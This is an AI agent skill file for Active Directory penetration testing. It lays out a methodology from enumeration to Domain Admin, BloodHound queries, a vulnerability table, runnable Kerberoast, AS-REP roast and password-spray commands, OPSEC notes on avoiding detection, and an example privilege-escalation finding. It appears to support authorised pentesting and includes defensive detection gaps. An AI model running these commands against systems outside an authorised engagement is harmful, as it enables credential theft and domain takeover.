pentest-ad

name	pentest-ad
description	Active Directory pentest methodology — BloodHound graph analysis, Kerberos abuse, ACL exploitation, lateral movement path advisory. Triggers on Active Directory, AD pentest, BloodHound, Kerberoasting, AS-REP, DCSync, Golden Ticket, Silver Ticket, NTLM relay, lateral movement, Impacket, NetExec, Certipy.
license	MIT
compatibility	Works with Claude Code
allowed-tools	Read Write Edit Bash Grep
metadata	{"author":"badi","homepage":"https://github.com/fatihkan/badi-skills/tree/main/skills/pentest-ad","badi-version":">=1.24.0","category":"pentest","scope":"advisory","inspired-by":"0xSteph/pentest-ai-agents ad-attacker (advisory side)"}

pentest-ad

Internal pentest Active Directory advisory. BloodHound graph, Kerberos vulnerability classes, ACL abuse, lateral path. Live command composing requires a scope declaration.

Triggers

• "AD pentest"
• "BloodHound graph analysis"
• "I found a Kerberoast hash"
• "can I DCSync"
• "lateral movement plan"
• "Golden Ticket"
• "NTLM relay"
• "AD CS abuse"

Methodology Flow

1. Enum: SMB, LDAP, DNS, GPP (passive first)
2. Cred: kerbrute users -> AS-REP roasting (no preauth) -> hashcat
3. Foothold: low-priv shell (phish/web/initial)
4. Recon: BloodHound -> high-value path
5. Privesc: ACL abuse, Kerberos delegation, GPO modify
6. Lateral: PtH, PtT, NTLM relay, WinRM, RDP
7. DA: DCSync (Replicating Changes), Golden Ticket (offline)
8. Persistence: Skeleton key, AdminSDHolder (TIER 2, scope-required)

BloodHound Graph Analysis

If the user provides a BloodHound JSON export, the skill runs these queries (Cypher):

// Shortest path to Domain Admin from owned user
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN"}))
RETURN p LIMIT 5

// Kerberoastable users with priv access
MATCH (u:User {hasspn:true})-[:MemberOf|AdminTo*1..]->(c:Computer)
WHERE u.enabled=true
RETURN u.name, c.name

// AS-REP roastable
MATCH (u:User {dontreqpreauth:true, enabled:true})
RETURN u.name, u.serviceprincipalnames

// Unconstrained delegation
MATCH (c:Computer {unconstraineddelegation:true})
RETURN c.name, c.distinguishedname

// GPO modify risk
MATCH (g:GPO)<-[:GenericAll|GenericWrite|WriteOwner|WriteDacl]-(u)
RETURN g.name, u.name

Common AD Vulnerability Classes

Vulnerability	Detection	Impact
AS-REP roast	DONT_REQUIRE_PREAUTH flag	Offline crackable hash
Kerberoast	User SPN + RC4 ticket	TGS hash crack -> service acc
Unconstrained delegation	Computer object flag	Compromise via the DC printer bug
NTLM relay	SMB sign off, web auth	Account takeover via relay
ACL abuse	GenericAll, WriteDacl	Reset password, add to group
ADCS ESC1-ESC8	Vulnerable cert template	Domain admin via cert
LAPS read	ReadProperty ms-Mcs-AdmPwd	Local admin password leak
GPO modify	WriteProperty on GPO link	Mass policy compromise
Constrained delegation	Service can impersonate	DA via service abuse
MSSQL trustworthy	xp_cmdshell + sysadmin	SQL -> OS command

Recommended Commands (Scope Required)

# QUIET — anonymous LDAP enum
ldapsearch -x -H ldap://<dc-ip> -b "DC=domain,DC=local" -s sub

# MODERATE — Kerberos user enum (no auth needed)
kerbrute userenum --dc <dc-ip> -d domain.local users.txt

# MODERATE — AS-REP roast (no cred)
GetNPUsers.py domain.local/ -no-pass -usersfile users.txt -dc-ip <dc-ip>

# MODERATE — Kerberoast (with a cred)
GetUserSPNs.py domain.local/user:password -dc-ip <dc-ip> -request

# MODERATE — BloodHound collection
bloodhound-python -u user -p password -d domain.local -ns <dc-ip> -c All

# LOUD — NetExec spray (single password, all users)
nxc smb <range> -u users.txt -p 'Spring2026!' --continue-on-success

OPSEC Notes

• AS-REP roast: domain controller event 4768 (Kerberos pre-auth failure) — gets DETECTED
• Kerberoast: TGS-REQ event 4769 + service ticket encryption type 0x17 (RC4) — anomaly
• BloodHound: massive LDAP query traffic (default collection). Slow down: --throttle 30
• NetExec spray: one password across all users -> triggers the account lockout policy (3 wrong -> 30-min lock is common)

Finding Output Template

## AD Compromise Path — <domain>

### Owned Path
1. anonymous SMB shares -> found credentials.txt
2. cred: backup-svc / Backup2024!
3. backup-svc Kerberoastable -> hash crack in 4 minutes
4. backup-svc -> ServerAdmins group member
5. ServerAdmins -> WriteDacl on Domain Admins
6. Single command: net group "Domain Admins" attacker /add -> DA

### Detection Gap (Defensive Output)
- Anonymous SMB share access NOT logged
- ServerAdmins WriteDacl change NOT detected (no Event 5136 alert)
- Recommended Sigma rule: under pentest-detection

Out-of-Scope

• Live exploit execution (GenericAll abuse Bash composer, with scope)
• Persistent backdoor (such as Skeleton Key) — stays outside the engagement
• Physical DC attack